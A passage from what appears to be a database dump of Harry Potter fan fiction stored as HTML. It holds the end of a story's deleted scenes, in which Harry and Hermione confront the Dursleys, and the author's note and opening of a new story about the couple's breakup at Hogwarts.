elsewhere.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was Blaise&#8217;s\nturn to blush. Everyone laughed as she opened and closed her mouth. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well are you girls\nready to go?&#8221; Mr. Granger asked, grabbing his daughter&#8217;s trunk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221; Both girls answered. Hermione turned to\nHarry. &#8220;You&#8217;ll have to come for dinner soon.&#8221; She said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, Harry, we&#8217;d\nlove to have you over.&#8221; Mrs. Granger added. &#8220;Hermione&#8217;s father and I would like\nto get to know you better.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Harry\ngrinned. &#8220;That&#8217;d be great!&#8221; he honestly was looking forward\nto getting to know Hermione&#8217;s family better, and try not to make a fool of\nhimself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;HARRY!&#8221; Draco\ncame bursting out of nowhere, lipstick smeared on his chin. &#8220;Come on! We&#8217;ve got\nto go move into our shag pad!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry didn&#8217;t\nthink his face could get any redder. Hermione and Blaise both stood still,\ntheir jaws dropped in shock.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry&#8230;&#8221;\nHarry was first to say something. &#8220;My future roommate seems to have left his\nmanners back at school.&#8221; He stuck his hand back out. &#8220;It was nice to meet you,\nMr. Granger. You too, Mrs. Granger.&#8221; He shook their\nhands again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione grinned\nand hugged him. &#8220;I&#8217;ll owl you tonight about dinner, okay?&#8221; she said, and Harry\nnodded and kissed her cheek, not wanting to get into a full on snog in front of\nher parents.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bye, Harry.&#8221;\nBlaise waved as the four of them started off. Hermione turned back to look at\nhim and he blew her a kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Love you.&#8221; He\nmouthed. She did the same.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What a nice\nyoung man, Hermione&#8230;&#8221; Her mother said in approval as they rounded the corner.\nHarry grinned to himself as he heard this, and his nervousness about dinner\nevaporated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Deleted Scene 2:\nHermione meets the Dursleys </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked at\nhis watch, Hermione was arriving any second and they were heading over to the\nDursleys to get the rest of his things so he could move into his new flat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">POP! The\napparition sound right outside his door told him that his girlfriend was right\non time, as always. A knock sounded a second later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come in!&#8221; he\ncalled. He bent over to pick up the bag he was using to put his things in and\nstood back up. His jaw dropped at the sight before him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stood in\nhis doorway, in the tightest pair of black leather pants he had ever seen. Her\nupper body filled out a leopard print baby tee shirt, and she had a black tote\nbag with Oxford printed across the side slung over her\nshoulder. She wore minimal makeup; her hair was blown straight and hung down\nher back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8230;why&#8230;how&#8230;&#8221;\nHarry was rendered near speechless as she smiled and came into the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I&#8217;d like\nto show your relatives what you&#8217;re capable of getting.&#8221; Hermione replied, in\nher heels she was almost as tall as he was. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh.&#8221; Harry\nstared up and down her body. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You don&#8217;t like\nit?&#8221; Hermione asked, feeling a bit worried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No&#8230; no&#8230; it&#8217;s\njust&#8230; you look amazing&#8230;&#8221; Harry fumbled for the right words. &#8220;I&#8217;m not used to\nyou looking so&#8230; so sexy&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you saying I\ndon&#8217;t look sexy all the time?&#8221; Hermione said, looking up at him as she furrowed\nher brow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No! You always\ndo&#8230; I just&#8230; it&#8217;s that&#8230; Oh hell.&#8221; He pulled her up\ntight against him and kissed her hard, sweeping his tongue into her mouth\nimmediately.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mmmm&#8230; I like\nthat response, Potter.&#8221; Hermione said when they pulled apart many minutes\nlater.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I thought you\nwould.&#8221; Harry had finally regained his composure. &#8220;I&#8217;ll bet Dudley&#8217;s eyes will pop out.&#8221; He started\nlaughing. &#8220;Come on; let&#8217;s go before I throw you down on that bed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wouldn&#8217;t\nmind.&#8221; Hermione whispered shamelessly in his ear as they left his bedroom.\nHarry had learned that reserved as people usually saw her, Hermione was\nactually quite the flirt. And he didn&#8217;t mind that in the least.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco was in the\nkitchen, eating something Harry could only conclude as disgusting.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you\neating?&#8221; Hermione asked in horror.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Pickle\nand chocolate sandwich, on rye bread.&#8221; Draco replied. &#8220;There&#8217;s also a cherry on top. Want\nsome?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No,\nthanks.&#8221; Hermione\nreplied. She bit back laughter at the look on Harry&#8217;s face as Draco took\nanother large bite. His eyes widened as he took her in.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Holy Merlin&#8217;s\nBeard, Hermione.&#8221; Draco dropped his sandwich. &#8220;Are you busy later?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yep.&#8221; She answered, grinning. She knew Draco\nwas only joking around; he had recently become involved with Daniela, a witch\nwho owned a flower shop in Diagon Alley. &#8220;Shagging your best\nfriend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry snorted\nback a loud laugh while Draco made no attempt to hide his merriment. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And\na sense of humour too.&#8221;\nDraco snickered. &#8220;Better watch this one, Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded.\n&#8220;Not letting her out of my sight.&#8221; He hugged her closely around the waist.\n&#8220;We&#8217;ve got to get going.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See you later\nDraco.&#8221; Hermione waved and giggled again as Draco tried to pick up the remnants\nof his sandwich.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They left the\nkitchen and stood next to the living room. &#8220;We&#8217;ll apparate right into their\nfront hallway, where they can see us.&#8221; Harry said. &#8220;I want to give them the\nshock of a lifetime.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nright.&#8221; Hermione\nagreed. She shifted the bag on her shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s that\nfor?&#8221; Harry asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My\nOxford bag?&#8221; Hermione pulled it around so he could see\nthe name on the front. &#8220;Well, it makes them think you&#8217;re dating someone smart.&#8221;\nShe grinned. &#8220;It&#8217;s actually my cousin&#8217;s, but I know the names of her\nprofessors, so it&#8217;ll seem like I&#8217;m going there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned\nback. &#8220;You think of everything don&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I do.&#8221; She\nsaid smartly and then kissed him quickly. &#8220;Let&#8217;s go.&#8221; He took her hand and the\ntwo of them apparated from Harry and Draco&#8217;s flat to the Dursleys&#8217; front\nhallway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Vernon Dursley\nsat next to his wife Petunia, with their son Dudley on the other side. They\nwere enjoying a Sunday afternoon of tea, biscuits, and a good program on the\ntelly. Their perfect day was shattered when suddenly his good for nothing\nnephew appeared in the hallway with a girl on his arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What the bloody\nhell do you think you&#8217;re doing here?&#8221; Vernon asked angrily, rising from the sofa like\na volcano about to erupt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry squeezed\nHermione&#8217;s hand tighter in his. &#8220;Just picking up my things, VERNON.&#8221; Harry refused to call him uncle anymore.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;ll ship them\nto you.&#8221; Vernon said, his face already turning purple. &#8220;I\ndon&#8217;t want you in my house anymore! I told you before you left for that bloody\nschool that you&#8217;re not welcome here!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione couldn&#8217;t\nbelieve the nerve of this man, talking to Harry that way. Her blood was already\nreaching the boiling point, and she slipped her hand in her bag, fingering her\nwand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I want you out\nthis instant, boy!&#8221; Vernon barked. &#8220;And take this trash with you!&#8221;\nhe jabbed a finger in Hermione&#8217;s direction.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;DON&#8217;T YOU DARE\nCALL HER TRASH!&#8221; Harry bellowed, and suddenly Vernon went flying backwards into the living\nroom. Hermione stood with her wand in her hand, glaring angrily at his uncle.\nThey moved into the doorway as Vernon struggled to get up, his great weight\nmaking it difficult.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8230; boy&#8230;&#8221; he\nwheezed as Petunia and Dudley\nlooked on, too frightened to speak. &#8220;You&#8217;ll get in trouble, just like before!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wrong.&#8221; Harry\nsaid triumphantly. &#8220;I&#8217;ve graduated. I can do magic anywhere, anytime, I want\nto.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dudley&#8217;s cheeks grew red as he heard this, and\nhis hands spread over his backside. His piggy eyes moved back and forth, nearly\nbugging out when he rested them on Hermione. With her hair flying angrily about\nher face, and her clothes, she looked like a wild temptress. Harry, in the\nmidst of his fury, felt the sudden urge to drop everything and snog her\nsenseless.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You have no idea\nwhat you&#8217;ve been spared.&#8221; Hermione spoke, her voice hard and cold. &#8220;You have no\nidea what Harry went through, and you should be lucky for that.&#8221; Vernon went to speak but Hermione silenced him\nwith a raise of her wand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And Hermione\nisn&#8217;t trash.&#8221; Harry had pulled his own wand out. &#8220;You take it back.&#8221; Vernon looked as if he wouldn&#8217;t comply for a\nmoment, so Harry continued. &#8220;She was the smartest witch in my class, and will\nhex you to kingdom come if I want her to.&#8221; He moved closer to Vernon and pointed his wand at his jugular. &#8220;Now\ntake it back, before I do more than give Dudley a pig&#8217;s tail.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m&#8230; sorry&#8230;.&#8221; Vernon forced the words out. Harry stepped back,\nhis green eyes full of hate.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;re here to\nget the rest of my things.&#8221; Harry said coldly. &#8220;After that, I&#8217;ll only be too\nhappy to leave this house forever.&#8221; He took Hermione&#8217;s hand in his again and\nthey marched from the room and up the stairs. It was only after they&#8217;d gone\ninto his old room and closed the door did he realise he was shaking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry.&#8221; He\napologised as she locked the door behind them. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s not your\nfault Harry.&#8221; Hermione replied reassuringly as she sat down on his old bed. She\npatted the spot next to her. &#8220;If I had known they&#8217;d be this horrible, I&#8217;d have\nhexed them the second I walked in the door.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gave her a\nhalf smile as he sat down. &#8220;I&#8217;m just so ashamed to be related to them.&#8221; He\nmuttered. She raised a hand and brushed back his hair in a manner that made him\nfeel calmer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It just makes\nyou a better person.&#8221; Hermione said, leaning over and kissing him on the cheek.\n&#8220;You were raised by them&#8230;&#8221; her lips moved down his neck. &#8220;And yet you&#8217;re a\nperfect gentleman.&#8221; She suckled lightly at his skin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry closed his\neyes at the feeling of her mouth. She moved over so that she was sitting on his\nlap, and their eyes met and held for a good minute. He curved his arms around\nher waist, pulling her up right against him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know you&#8217;re\nbetter than them.&#8221; Hermione whispered, and sealed her lips against his, running\none hand through his unruly hair, the other cupping his cheek. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He fell back on\nthe flat pillow, taking her along with him. Harry slipped his tongue into her\nmouth, letting his hands roam through her long locks and over her back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was some time\nlater that Hermione finally pulled away, needing some air. She moved off of\nHarry and lay down next to him, running her fingers through his hair again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wish I&#8217;d known\nwhat prats your relatives were.&#8221; She spoke softly. &#8220;With living with them and\ndealing with Voldemort it&#8217;s a wonder you&#8217;re still sane.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smirked at\nthe ceiling but said nothing. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re a lot\nstronger than even I thought.&#8221; Hermione said, resting her head on his shoulder.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; Harry\nturned to look at her. &#8220;I&#8217;m glad you were with me. I&#8217;d probably be on my way to\nAzkaban if I came alone.&#8221; He finally smiled at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione grinned\nand kissed him one more time. &#8220;Let&#8217;s get your things and get out of here.&#8221; She\nsaid, pushing herself off him and hopping off the bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nright.&#8221; Harry agreed,\nsitting up. He moved over and pried up the loose floorboard where he kept a few\nsecret things he couldn&#8217;t fit in his trunk, then over to the small closet,\npulling out his first set of robes that he had long outgrown but couldn&#8217;t seem\nto part with.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is that\neverything?&#8221; Hermione looked around with barely concealed contempt. How had his\nrelatives expected Harry to live in this&#8230;. closet? It could barely be\nconsidered a bedroom! Harry seemed to read her thoughts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This was Dudley&#8217;s second bedroom.&#8221; He said, tossing the\nrobes in the bag. &#8220;It was given to me after I started receiving Hogwarts\nletters.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where&#8230; where did\nyou sleep before then?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;In\na cupboard under the stairs.&#8221; Harry answered. Hermione looked absolutely furious. &#8220;I think we&#8217;ve\nscared them enough. I don&#8217;t want to spend any more time here besides.&#8221; He\nlooked around the tiny room. &#8220;I hate this place.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed,\nshe realised getting mad wasn&#8217;t going to change the Dursleys&#8217; opinion. However,\nseeing how he had been raised, and his living conditions prior to Hogwarts,\nmade him that much more dear to her. &#8220;Let&#8217;s go.&#8221; She picked his bag up. Harry\nnodded silently. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nright.&#8221; He said\nquietly. Hermione sensed his sadness and moved to his side. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t worry\nabout any of this anymore, Harry.&#8221; She laced her fingers with his. &#8220;You have\nme, you have a beautiful flat you&#8217;re about to move into and you have loads of\nfriends who care about you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry couldn&#8217;t\nhelp but smile as he looked at her. She was right, as usual. &#8220;Okay.&#8221; He said,\npushing old memories aside and locking them away, hopefully forever. Harry\nraised their clasped hands up and kissed the back of hers. &#8220;Love you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Love you too.&#8221;\nHermione answered, kissing him on the lips. &#8220;How about we go back to your new\nflat and try out the bedroom?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(79, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">A/N: Well, I needed to take\na slight break from Return to Me, you guys know how it gets from time to time&#8230;.\nso I got this idea tonight and decided to write it for you guys. I hope you\nenjoy it. Remember to read and review, not flame! :) </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">OMG was Star Wars not just\nsimply and totally amazing? I wont&#8217; spoil it for anyone who hasn&#8217;t seen it, but\nYODA! He ROCKS! If anyone wants to see me and Lily cat dressed to kill, as\nAmidala and a Jedi, take a jump over to the Haven and look in the Star Wars\nPremiere folder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Happy Reading! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: I don&#8217;t own\nanything Harry Potter related, just Hermione&#8217;s stuffed cat and Ginny&#8217;s two\nbitchy friends. And Ryoko owns Orgus Root, if you want to find out more about\nit read her fic Soul Scepter, you won&#8217;t regret it, I promise.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re what?&#8221; Harry stared\nat his girlfriend of six months in disbelief. &#8220;You brought me all the way up to\nthe Astronomy Tower to break up with me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione Granger lowered her\nhead to try and contain her tears that threatened to fall from her eyes. &#8220;I&#8217;m\nsorry Harry. This just isn&#8217;t working out for me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry moved forward and\ngripped her arms tightly. &#8220;That&#8217;s bullshit, Hermione. Just last night we were\nup here&#8230;&#8221; he moved his eyes towards a certain dark corner of the tower and they\nboth flushed red at the memory of what had taken place there the night before.\n&#8220;Is that it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No&#8230;no that&#8217;s not it at\nall&#8230;&#8221; Hermione couldn&#8217;t even look him in the eyes, for fear she would drown in\nthe deep emerald pools. &#8220;I don&#8217;t think I&#8217;m good enough for you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I think you&#8217;re perfect\nfor me.&#8221; Harry stated firmly. He tried to put his hand under her chin to tilt\nher head back, but she moved away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please Harry, just don&#8217;t&#8230;&#8221;\nshe turned and fled the Tower, leaving Harry standing behind, feeling saddened\nand angry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know what I did\nwrong.&#8221; Harry said, pushing his hair back with both hands. &#8220;I mean, this just\ncame out of the blue.&#8221; He looked at Ron with frustration.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron pursed his lips in\nthought. &#8220;She isn&#8217;t&#8230;you know&#8230;. pregnant is she?&#8221; he asked tentatively.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No&#8230;we both used some of\nthat Orgus Root, you know, no way she can be.&#8221; Harry said with a definite tone\nto his voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron heaved a sigh. &#8220;Okay,\nrules that one out.&#8221; He thought hard for a moment. &#8220;You think she&#8217;s interested\nin someone else?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked up at him\nquickly, a stricken look on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, no we would have\nnoticed if she took a fancy to someone else.&#8221; Ron said quickly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded, his eyes\ntaking a faraway look. Suddenly the portrait door opened and Hermione stepped\nin, her eyes red and puffy. She looked their way and her mouth opened in a\nsilent gasp. Harry quickly jumped from the chair he was sitting in to go over\nto her, but she ran up to her room, the Head Girl&#8217;s room, and slammed the door\nshut. Harry winced as he heard the sound, and then slumped back down in the\nchair, burying his face in his hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She hardly looks at me.&#8221; He\nsaid, his voice coming out muffled. Ron opened his mouth to say something but\nthe portrait door swung open again and Ginny Weasley walked in the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The shy innocent girl that\nhad once been Ginny was gone. She had undergone a complete personality change,\nback in the beginning of this year. She had developed into a voluptuous woman,\nwith a heaving chest, long red hair that brushed down her back, she wore her\nrobes two sizes too small to emphasize what Harry heard some of the other guys\nin their dorm refer to as her &#8216;goodies&#8217;. And she had developed a perfectly\nbitchy attitude to go along with it. Right around the beginning of the school year,\nshe had practically jumped on Harry when they were sitting in the common room\none night. He had pushed her off him, disgusted at her actions, as there was a\ngroup of at least twelve first years in the room. He had patiently tried to\nexplain to her that they were only friends, that his heart belonged to another,\nHermione. She had been angry to hear this, and the next day he and Ron had come\ninto the common room only to find Ginny and Hermione having a huge row,\napparently over him. It had taken both Ron and Dean to pull Ginny off Hermione,\nand Ron had hardly even been able to look at his sister since. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Right now, Ginny looked in\ntheir direction and a smile curved across her lips. She tugged her sweater down\nso her cleavage was visible, and unfastened her robe so it clung to her curves.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello boys&#8230;&#8221; she said\nsmoothly, her greeting going solely to Harry. She completely ignored her\nbrother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny.&#8221; Harry said with a\ncool nod. Uninvited, she slid into the chair, almost on top of him. Rolling his\neyes, he got up and silently moved to another chair. Ron laughed loudly and\nGinny glared daggers at her brother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m so sorry to hear about\nyou and Hermione Harry.&#8221; She said with a fake pout, bringing one polished nail\nup to her silver necklace and toying with it seductively. &#8220;You know, if you\nfeel too down, you can always come up to my room.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No thanks.&#8221; Harry said, ice\ndripping from his voice. He looked over at Ron, who had his lip curled in a\nsnarl.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let&#8217;s go to bed.&#8221; He said,\nand Harry nodded and followed him up, without a second glance at Ginny.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny sneered as she watched\nthe two boys converse as they climbed the stairs to their respective\ndormitories, Harry to the Head Boy&#8217;s room and Ron to the 7th year\nDormitory. If she wasn&#8217;t going to be getting anything from Harry that evening,\nshe supposed she could sneak to the Slytherin House and find Draco. Smiling to\nherself, she slipped back out the portrait door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Meanwhile, Hermione was in\nher room, trying to stop herself from crying.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You did the right thing.&#8221;\nShe told herself. &#8220;He deserves someone better looking than me.&#8221; She made her\nway over to the mirror and glared at her reflection. She took one hand up and\npulled on her bushy brown hair, it had darkened over time and it was now a nice\nshade of chestnut, but no matter what she did, the bushiness remained. She&#8217;d\nlet it grow longer, it was almost as long as Ginny&#8217;s, but didn&#8217;t have the\nstraightness to it. Her eyes were a plain brown color, and while she had a\ndecent figure to her, it was usually weighed over by the large amount of books\nshe always carried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ll never measure up,\nHermione.&#8221; She said. &#8220;Never.&#8221; She fell onto her bed still wearing her clothes\nand clutched the stuffed cat that Harry had given her. She always liked it\nbecause it changed color depending on the mood she was in, but right now it\ndidn&#8217;t do much to cheer her up because it was very, very blue. She pulled it\naway to throw it across the room, but then hugged it tighter against her, not\nwanting to have the only thing that reminded her of Harry sitting across the\nroom. Hermione tossed and turned for about an hour more before finally falling\ninto a fitful sleep.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***The Next Day***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry picked at his\nbreakfast, staring moodily at the empty space next to him that Hermione\nnormally occupied. She had sent word down with Lavender Brown that she didn&#8217;t\nwant to come to the table, and so Ron took some food up to her to try and\nreason. Ron grabbed some eggs and a few muffins, plus the pancakes she liked so\nmuch and piled everything onto a plate. He knocked hesitantly on her door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who is it?&#8221; her muffled\nvoice replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s Ron.&#8221; He held up the\nplate as if she could see it through the door. &#8220;I&#8217;ve brought you some\nbreakfast.&#8221; He could hear her walking across the room, and her door inched\nopen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is Harry with you?&#8221; she\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, I&#8217;m alone.&#8221; He said. He\nheld the plate up again so she could see it and her eyes widened and she opened\nthe door so he could step through.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; She said, taking\nthe plate and setting it down on the table. She immediately began to scarf the\nfood down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Whoa there, Herm.&#8221; Ron\nsaid. &#8220;Take it easy, I can get you more.&#8221;</p>\n\n<p 